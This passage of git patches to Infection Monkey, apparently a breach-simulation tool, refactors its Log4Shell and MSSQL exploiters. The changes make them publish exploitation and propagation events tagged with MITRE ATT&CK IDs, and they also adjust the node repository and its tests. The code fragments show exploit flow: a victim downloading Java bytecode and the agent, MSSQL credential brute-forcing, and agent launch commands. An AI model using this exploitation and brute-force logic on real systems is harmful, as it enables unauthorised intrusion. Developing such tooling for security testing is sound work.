tags=(LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), ) self.exploit_result.exploitation_success = True return True @@ -211,7 +211,7 @@ class Log4ShellExploiter(WebRCE): self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, - tags=(LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHINQUE_TAG), + tags=(LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), ) self.exploit_result.propagation_success = True break From 0c4b90beb5599ba71609569cf470bf68f1dc681d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 12:23:00 +0000 Subject: [PATCH 071/144] Agent: Fix typo --- monkey/infection_monkey/exploit/log4shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index d47553d0d..daed11652 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -27,7 +27,7 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) -LOG4SHELL_EXPLOITER_TAG = "log4shel-exploiter" +LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter" class Log4ShellExploiter(WebRCE): From ac69064dece1ff0a1af4c5d4d6b742de618b329c Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 12:31:19 +0000 Subject: [PATCH 072/144] Agent: Send failed exploitation event --- monkey/infection_monkey/exploit/log4shell.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index daed11652..1a3dc9d61 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -199,7 +199,14 @@ class Log4ShellExploiter(WebRCE): time.sleep(1) - logger.debug("Timed out while waiting for victim to download the java bytecode") + error_message = "Timed out while waiting for victim to download the java bytecode" + logger.debug(error_message) + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + error_message=error_message, + tags=(LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), + ) return False def _wait_for_victim_to_download_agent(self): From 48e6e95271be5504896af709e03de1ce55833755 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 12:48:16 +0000 Subject: [PATCH 073/144] Agent: Update propagation tags for log4shell --- monkey/infection_monkey/exploit/log4shell.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 1a3dc9d61..9b4aec6f5 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -4,7 +4,7 @@ from pathlib import PurePath from common import OperatingSystem from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT -from common.tags import T1203_ATTACK_TECHNIQUE_TAG +from common.tags import T1105_ATTACK_TECHNIQUE_TAG, T1203_ATTACK_TECHNIQUE_TAG from common.utils import Timer from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, @@ -28,6 +28,7 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter" +PROPAGATION_TAGS = (LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG) class Log4ShellExploiter(WebRCE): @@ -218,7 +219,7 @@ class Log4ShellExploiter(WebRCE): self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, - tags=(LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), + tags=PROPAGATION_TAGS, ) self.exploit_result.propagation_success = True break From 016bf5c795e3e00c9a711abd20348d41ee9d4c67 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 19:55:56 +0000 Subject: [PATCH 074/144] Agent: Stamp times before the exploit runs --- monkey/infection_monkey/exploit/log4shell.py | 54 ++++++++------------ 1 file changed, 21 insertions(+), 33 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 9b4aec6f5..c5bee65a8 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,6 +1,7 @@ import logging import time from pathlib import PurePath +from typing import Tuple from common import OperatingSystem from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT @@ -28,7 +29,6 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter" -PROPAGATION_TAGS = (LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG) class Log4ShellExploiter(WebRCE): @@ -36,6 +36,12 @@ class Log4ShellExploiter(WebRCE): SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT + def _exploiter_tags(self) -> Tuple[str, ...]: + return (LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG) + + def _propagation_tags(self) -> Tuple[str, ...]: + return (LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG) + def _exploit_host(self) -> ExploiterResultData: self._open_ports = [ int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) @@ -43,10 +49,6 @@ class Log4ShellExploiter(WebRCE): if not self._open_ports: logger.info("Could not find any open web ports to exploit") - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - ) return self.exploit_result self._configure_servers() @@ -156,31 +158,34 @@ class Log4ShellExploiter(WebRCE): f"on port {port}" ) try: + timestamp = time.time() url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) except Exception as err: - error_message = "An error occurred while attempting to exploit log4shell on a " - f"potential {exploit.service_name} service: {err}" + error_message = ( + "An error occurred while attempting to exploit log4shell on a " + f"potential {exploit.service_name} service: {err}" + ) logger.warning(error_message) - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=error_message, - tags=(LOG4SHELL_EXPLOITER_TAG,), - ) + self._publish_exploitation_event(timestamp, False, error_message=error_message) - if self._wait_for_victim(): + if self._wait_for_victim(timestamp): self.exploit_info["vulnerable_service"] = { "service_name": exploit.service_name, "port": port, } self.exploit_info["vulnerable_urls"].append(url) - def _wait_for_victim(self) -> bool: + def _wait_for_victim(self, timestamp: float) -> bool: victim_called_back = self._wait_for_victim_to_download_java_bytecode() if victim_called_back: + self._publish_exploitation_event(timestamp, True) self._wait_for_victim_to_download_agent() + else: + error_message = "Timed out while waiting for victim to download the java bytecode" + logger.debug(error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) return victim_called_back @@ -190,24 +195,11 @@ class Log4ShellExploiter(WebRCE): while not timer.is_expired(): if self._exploit_class_http_server.exploit_class_downloaded(): - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=True, - tags=(LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), - ) self.exploit_result.exploitation_success = True return True time.sleep(1) - error_message = "Timed out while waiting for victim to download the java bytecode" - logger.debug(error_message) - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=error_message, - tags=(LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), - ) return False def _wait_for_victim_to_download_agent(self): @@ -216,11 +208,7 @@ class Log4ShellExploiter(WebRCE): while not timer.is_expired(): if self._agent_http_server_thread.downloads > 0: - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=True, - tags=PROPAGATION_TAGS, - ) + self._publish_propagation_event(success=True) self.exploit_result.propagation_success = True break From 0f3f45e92f0b07cfe64a02ea2c2d972de214de29 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 13:26:48 +0200 Subject: [PATCH 075/144] Agent: Modify Log4Shell tags to be properties --- monkey/infection_monkey/exploit/log4shell.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index c5bee65a8..780665047 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,7 +1,6 @@ import logging import time from pathlib import PurePath -from typing import Tuple from common import OperatingSystem from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT @@ -36,11 +35,12 @@ class Log4ShellExploiter(WebRCE): SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT - def _exploiter_tags(self) -> Tuple[str, ...]: - return (LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG) - - def _propagation_tags(self) -> Tuple[str, ...]: - return (LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG) + _EXPLOITER_TAGS = (LOG4SHELL_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG) + _PROPAGATION_TAGS = ( + LOG4SHELL_EXPLOITER_TAG, + T1203_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + ) def _exploit_host(self) -> ExploiterResultData: self._open_ports = [ From b0ec035909501a1a5174e5b93ccb31989604eb35 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Oct 2022 14:31:12 +0300 Subject: [PATCH 076/144] Island: Move tcp_connection addition to node repository --- .../scan_event_handler.py | 15 +++---- monkey/monkey_island/cc/models/node.py | 5 ++- .../cc/repository/i_node_repository.py | 10 +++-- .../cc/repository/mongo_node_repository.py | 13 +++++- .../test_scan_event_handler.py | 43 +++++++++++-------- .../repository/test_mongo_node_repository.py | 39 +++++++++++++++-- 6 files changed, 87 insertions(+), 38 deletions(-) diff --git a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py index 6f3a7030f..73e3023db 100644 --- a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py +++ b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py @@ -1,4 +1,3 @@ -from copy import deepcopy from ipaddress import IPv4Interface from logging import getLogger from typing import Union @@ -98,16 +97,16 @@ class ScanEventHandler: ) def _update_tcp_connections(self, src_node: Node, target_machine: Machine, event: TCPScanEvent): - node_connections = dict(deepcopy(src_node.tcp_connections)) - machine_connections = set(node_connections.get(target_machine.id, set())) - open_ports = [port for port, status in event.ports.items() if status == PortStatus.OPEN] + tcp_connections = set() + open_ports = (port for port, status in event.ports.items() if status == PortStatus.OPEN) for open_port in open_ports: socket_address = SocketAddress(ip=event.target, port=open_port) - machine_connections.add(socket_address) + tcp_connections.add(socket_address) - node_connections[target_machine.id] = tuple(machine_connections) - src_node.tcp_connections = node_connections - self._node_repository.upsert_node(src_node) + if tcp_connections: + self._node_repository.add_tcp_connections( + src_node.machine_id, {target_machine.id: tcp_connections} + ) def _get_source_machine(self, event: ScanEvent) -> Machine: agent = self._agent_repository.get_agent_by_id(event.source) diff --git a/monkey/monkey_island/cc/models/node.py b/monkey/monkey_island/cc/models/node.py index ada8aac19..95404f7d1 100644 --- a/monkey/monkey_island/cc/models/node.py +++ b/monkey/monkey_island/cc/models/node.py @@ -1,4 +1,4 @@ -from typing import FrozenSet, Mapping, Tuple +from typing import Dict, FrozenSet, Mapping, Tuple from pydantic import Field from typing_extensions import TypeAlias @@ -9,6 +9,7 @@ from common.types import SocketAddress from . import CommunicationType, MachineID NodeConnections: TypeAlias = Mapping[MachineID, FrozenSet[CommunicationType]] +TCPConnections: TypeAlias = Dict[MachineID, Tuple[SocketAddress, ...]] class Node(MutableInfectionMonkeyBaseModel): @@ -26,5 +27,5 @@ class Node(MutableInfectionMonkeyBaseModel): connections: NodeConnections """All outbound connections from this node to other machines""" - tcp_connections: Mapping[MachineID, Tuple[SocketAddress, ...]] = {} + tcp_connections: TCPConnections = {} """All successfull outbound TCP connections""" diff --git a/monkey/monkey_island/cc/repository/i_node_repository.py b/monkey/monkey_island/cc/repository/i_node_repository.py index 3738a1eb6..11983206c 100644 --- a/monkey/monkey_island/cc/repository/i_node_repository.py +++ b/monkey/monkey_island/cc/repository/i_node_repository.py @@ -2,6 +2,7 @@ from abc import ABC, abstractmethod from typing import Sequence from monkey_island.cc.models import CommunicationType, MachineID, Node +from monkey_island.cc.models.node import TCPConnections class INodeRepository(ABC): @@ -26,11 +27,12 @@ class INodeRepository(ABC): """ @abstractmethod - def upsert_node(self, node: Node): + def add_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections): """ - Store the Node object in the repository by creating a new one or updating an existing one. - :param node: Node that will be saved - :raises StorageError: If an error occurs while attempting to upsert the Node + Add TCP connections to Node + :param machine_id: Machine ID of the Node that made the connections + :param tcp_connections: TCP connections made by node + :raises StorageError: If an error occurs while attempting to add connections """ @abstractmethod diff --git a/monkey/monkey_island/cc/repository/mongo_node_repository.py b/monkey/monkey_island/cc/repository/mongo_node_repository.py index 248b0f973..599bddf61 100644 --- a/monkey/monkey_island/cc/repository/mongo_node_repository.py +++ b/monkey/monkey_island/cc/repository/mongo_node_repository.py @@ -5,6 +5,7 @@ from pymongo import MongoClient from monkey_island.cc.models import CommunicationType, MachineID, Node +from ..models.node import TCPConnections from . import INodeRepository, RemovalError, RetrievalError, StorageError from .consts import MONGO_OBJECT_ID_KEY @@ -47,7 +48,17 @@ class MongoNodeRepository(INodeRepository): return new_node - def upsert_node(self, node: Node): + def add_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections): + node = self._get_node_by_id(machine_id) + + for target, connections in tcp_connections.items(): + if target in node.tcp_connections: + node.tcp_connections[target] = tuple({*node.tcp_connections[target], *connections}) + else: + node.tcp_connections[target] = connections + self._upsert_node(node) + + def _upsert_node(self, node: Node): try: result = self._nodes_collection.replace_one( {SRC_FIELD_NAME: node.machine_id}, node.dict(simplify=True), upsert=True diff --git a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py index 160d00ae1..1d8e71869 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py +++ b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py @@ -95,6 +95,13 @@ TCP_SCAN_EVENT = TCPScanEvent( ports={22: PortStatus.OPEN, 80: PortStatus.OPEN, 8080: PortStatus.CLOSED}, ) +TCP_CONNECTIONS = { + TARGET_MACHINE_ID: ( + SocketAddress(ip=TARGET_MACHINE_IP, port=22), + SocketAddress(ip=TARGET_MACHINE_IP, port=80), + ) +} + TCP_SCAN_EVENT_CLOSED = TCPScanEvent( source=AGENT_ID, target=IPv4Address(TARGET_MACHINE_IP), @@ -220,31 +227,29 @@ def test_tcp_scan_event_target_machine_not_exists( machine_repository.upsert_machine.assert_called_with(expected_machine) -def test_handle_tcp_scan_event__tcp_connections( +def test_handle_tcp_scan_event__no_open_ports( + scan_event_handler, machine_repository, node_repository +): + event = TCP_SCAN_EVENT_CLOSED + scan_event_handler._update_nodes = MagicMock() + scan_event_handler.handle_tcp_scan_event(event) + + assert not node_repository.add_tcp_connections.called + + +def test_handle_tcp_scan_event__ports_found( scan_event_handler, machine_repository, node_repository ): event = TCP_SCAN_EVENT scan_event_handler._update_nodes = MagicMock() scan_event_handler.handle_tcp_scan_event(event) - node_passed = node_repository.upsert_node.call_args[0][0] - assert set(node_passed.tcp_connections[TARGET_MACHINE_ID]) == set( - EXPECTED_NODE.tcp_connections[TARGET_MACHINE_ID] - ) - - -def test_handle_tcp_scan_event__tcp_connections_upsert( - scan_event_handler, machine_repository, node_repository -): - event = TCP_SCAN_EVENT - node_repository.get_nodes.return_value = [deepcopy(SOURCE_NODE_2)] - scan_event_handler._update_nodes = MagicMock() - scan_event_handler.handle_tcp_scan_event(event) - - node_passed = node_repository.upsert_node.call_args[0][0] - assert set(node_passed.tcp_connections[TARGET_MACHINE_ID]) == set( - EXPECTED_NODE.tcp_connections[TARGET_MACHINE_ID] - ) + call_args = node_repository.add_tcp_connections.call_args[0] + assert call_args[0] == MACHINE_ID + assert TARGET_MACHINE_ID in call_args[1] + open_socket_addresses = call_args[1][TARGET_MACHINE_ID] + assert set(open_socket_addresses) == set(TCP_CONNECTIONS[TARGET_MACHINE_ID]) + assert len(open_socket_addresses) == len(TCP_CONNECTIONS[TARGET_MACHINE_ID]) def test_handle_tcp_scan_event__no_source( diff --git a/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py index 338526d76..d4b16cd46 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py @@ -3,6 +3,7 @@ from unittest.mock import MagicMock import mongomock import pytest +from common.types import SocketAddress from monkey_island.cc.models import CommunicationType, Node from monkey_island.cc.repository import ( INodeRepository, @@ -12,6 +13,14 @@ from monkey_island.cc.repository import ( StorageError, ) +TARGET_MACHINE_IP = "2.2.2.2" + +TCP_CONNECTION_PORT_22 = {3: (SocketAddress(ip=TARGET_MACHINE_IP, port=22),)} +TCP_CONNECTION_PORT_80 = {3: (SocketAddress(ip=TARGET_MACHINE_IP, port=80),)} +ALL_TCP_CONNECTIONS = { + 3: (SocketAddress(ip=TARGET_MACHINE_IP, port=22), SocketAddress(ip=TARGET_MACHINE_IP, port=80)) +} + NODES = ( Node( machine_id=1, @@ -23,6 +32,7 @@ NODES = ( Node( machine_id=2, connections={1: frozenset((CommunicationType.CC,))}, + tcp_connections=TCP_CONNECTION_PORT_22, ), Node( machine_id=3, @@ -32,10 +42,7 @@ NODES = ( 5: frozenset((CommunicationType.SCANNED, CommunicationType.EXPLOITED)), }, ), - Node( - machine_id=4, - connections={}, - ), + Node(machine_id=4, connections={}, tcp_connections=ALL_TCP_CONNECTIONS), Node( machine_id=5, connections={ @@ -201,3 +208,27 @@ def test_reset(node_repository): def test_reset__removal_error(error_raising_node_repository): with pytest.raises(RemovalError): error_raising_node_repository.reset() + + +def test_upsert_tcp_connections__empty_connections(node_repository): + node_repository.add_tcp_connections(1, TCP_CONNECTION_PORT_22) + nodes = node_repository.get_nodes() + for node in nodes: + if node.machine_id == 1: + assert node.tcp_connections == TCP_CONNECTION_PORT_22 + + +def test_upsert_tcp_connections__upsert_new_port(node_repository): + node_repository.add_tcp_connections(2, TCP_CONNECTION_PORT_80) + nodes = node_repository.get_nodes() + modified_node = [node for node in nodes if node.machine_id == 2][0] + assert set(modified_node.tcp_connections) == set(ALL_TCP_CONNECTIONS) + assert len(modified_node.tcp_connections) == len(ALL_TCP_CONNECTIONS) + + +def test_upsert_tcp_connections__port_already_present(node_repository): + node_repository.add_tcp_connections(4, TCP_CONNECTION_PORT_80) + nodes = node_repository.get_nodes() + modified_node = [node for node in nodes if node.machine_id == 4][0] + assert set(modified_node.tcp_connections) == set(ALL_TCP_CONNECTIONS) + assert len(modified_node.tcp_connections) == len(ALL_TCP_CONNECTIONS) From 8dd196122b0974f52e5d3f06b4960cf9500b8795 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 14:46:35 +0000 Subject: [PATCH 077/144] Agent: Publish events from MSSQLExploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 23 ++++++++++++++------ 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index a2a63eec8..fde399d10 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,7 +1,7 @@ import logging from pathlib import PureWindowsPath from time import sleep -from typing import Sequence, Tuple +from typing import Iterable, Tuple import pymssql @@ -42,7 +42,7 @@ class MSSQLExploiter(HostExploiter): self.agent_http_path = None def _exploit_host(self) -> ExploiterResultData: - agent_path_on_victim = get_agent_dst_path(self.host) + agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host)) # Brute force to get connection creds = generate_identity_secret_pairs( @@ -72,15 +72,17 @@ class MSSQLExploiter(HostExploiter): ) logger.error(error_message) + self.publish_propagation_event(self.host.ip_addr, False, error_message=error_message) self.exploit_result.error_message = error_message return self.exploit_result + self.publish_propagation_event(self.host.ip_addr, True) self.exploit_result.propagation_success = True return self.exploit_result def _brute_force( - self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]] + self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]] ) -> pymssql.Cursor: """ Starts the brute force connection attempts and if needed then init the payload process. @@ -122,12 +124,13 @@ class MSSQLExploiter(HostExploiter): ) self.exploit_result.exploitation_success = True self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) - self.report_login_attempt(True, user, password) + self._report_login_attempt(True, host, user, password) cursor = conn.cursor() return cursor except pymssql.OperationalError as err: - logger.info(f"Connection to MSSQL failed: {err}") - self.report_login_attempt(False, user, password) + error_message = f"Connection to MSSQL failed: {err}" + logger.info(error_message) + self._report_login_attempt(False, host, user, password, error_message) # Combo didn't work, hopping to the next one pass @@ -139,6 +142,12 @@ class MSSQLExploiter(HostExploiter): "Bruteforce process failed on host: {0}".format(self.host.ip_addr) ) + def _report_login_attempt( + self, success: bool, host: str, user, password: str, message: str = "" + ): + self.publish_exploitation_event(host, success, error_message=message) + self.report_login_attempt(success, user, password) + def _upload_agent(self, agent_path_on_victim: PureWindowsPath): http_thread = self._start_agent_server(agent_path_on_victim) @@ -179,7 +188,7 @@ class MSSQLExploiter(HostExploiter): def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str: agent_args = build_monkey_commandline( - self.servers, self.current_depth + 1, agent_path_on_victim + self.servers, self.current_depth + 1, str(agent_path_on_victim) ) return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}" From 2cd9d0086bdd03661838e32f201bfccca0262ef8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 15:21:46 +0000 Subject: [PATCH 078/144] Agent: Fix mypy error in http_tools.py --- monkey/infection_monkey/exploit/tools/http_tools.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index a24fb909e..70adf3d7b 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -3,6 +3,7 @@ import urllib.error import urllib.parse import urllib.request from threading import Lock +from typing import Optional, Tuple from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port @@ -28,7 +29,7 @@ class HTTPTools(object): @staticmethod def create_locked_transfer( host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None - ) -> LockedHTTPServer: + ) -> Tuple[Optional[str], Optional[LockedHTTPServer]]: """ Create http server for file transfer with a lock :param host: Variable with target's information From 33230e85f75bce9c8fa6197c99a70b8e3f66e7d5 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 12:51:59 +0000 Subject: [PATCH 079/144] Agent: Use updated publish methods --- monkey/infection_monkey/exploit/mssqlexec.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index fde399d10..6b4de1fc2 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -52,10 +52,12 @@ class MSSQLExploiter(HostExploiter): try: self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) except FailedExploitationError: - logger.info( + error_message = ( f"Failed brute-forcing of MSSQL server on {self.host}," f" no credentials were successful" ) + logger.error(error_message) + self._publish_exploitation_event(self.host.ip_addr, False, error_message=error_message) return self.exploit_result if self._is_interrupted(): @@ -72,12 +74,12 @@ class MSSQLExploiter(HostExploiter): ) logger.error(error_message) - self.publish_propagation_event(self.host.ip_addr, False, error_message=error_message) + self._publish_propagation_event(self.host.ip_addr, False, error_message=error_message) self.exploit_result.error_message = error_message return self.exploit_result - self.publish_propagation_event(self.host.ip_addr, True) + self._publish_propagation_event(self.host.ip_addr, True) self.exploit_result.propagation_success = True return self.exploit_result @@ -145,7 +147,7 @@ class MSSQLExploiter(HostExploiter): def _report_login_attempt( self, success: bool, host: str, user, password: str, message: str = "" ): - self.publish_exploitation_event(host, success, error_message=message) + self._publish_exploitation_event(host, success, error_message=message) self.report_login_attempt(success, user, password) def _upload_agent(self, agent_path_on_victim: PureWindowsPath): From 183bd1145faa46ed3002ed67d37ee70b8beaa8d1 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 13:07:28 +0000 Subject: [PATCH 080/144] Agent: Add tags to MSSQL exploitation events --- monkey/infection_monkey/exploit/mssqlexec.py | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 6b4de1fc2..f3bda8d52 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -7,6 +7,10 @@ import pymssql from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.credentials import get_plaintext +from common.tags import ( + T1110_ATTACK_TECHNIQUE_TAG, + T1210_ATTACK_TECHNIQUE_TAG, +) from common.utils.exceptions import FailedExploitationError from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dst_path @@ -20,6 +24,9 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) +MSSQL_EXPLOITER_TAG = "mssql-exploiter" +EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) + class MSSQLExploiter(HostExploiter): _EXPLOITED_SERVICE = "MSSQL" @@ -57,7 +64,9 @@ class MSSQLExploiter(HostExploiter): f" no credentials were successful" ) logger.error(error_message) - self._publish_exploitation_event(self.host.ip_addr, False, error_message=error_message) + self._publish_exploitation_event( + self.host.ip_addr, False, EXPLOITER_TAGS, error_message + ) return self.exploit_result if self._is_interrupted(): @@ -147,7 +156,7 @@ class MSSQLExploiter(HostExploiter): def _report_login_attempt( self, success: bool, host: str, user, password: str, message: str = "" ): - self._publish_exploitation_event(host, success, error_message=message) + self._publish_exploitation_event(host, success, EXPLOITER_TAGS, error_message=message) self.report_login_attempt(success, user, password) def _upload_agent(self, agent_path_on_victim: PureWindowsPath): From fa8b721abef404443f1bff93a60f197d06ccf5c8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 13:23:13 +0000 Subject: [PATCH 081/144] Common: Add attack technique T1059 --- monkey/common/tags/__init__.py | 1 + monkey/common/tags/attack.py | 1 + 2 files changed, 2 insertions(+) diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index ea08aa9f5..fb30c71df 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -2,6 +2,7 @@ from .attack import ( T1003_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG, + T1059_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index e8881dfa7..5c3a8d117 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -1,6 +1,7 @@ T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003" T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005" T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" +T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059" T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098" T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" From aab965bad7a2d532257437195de1302188c6115d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 13:28:08 +0000 Subject: [PATCH 082/144] Common: Add attack technique T1071 --- monkey/common/tags/__init__.py | 1 + monkey/common/tags/attack.py | 1 + 2 files changed, 2 insertions(+) diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index fb30c71df..e8b6842e3 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -3,6 +3,7 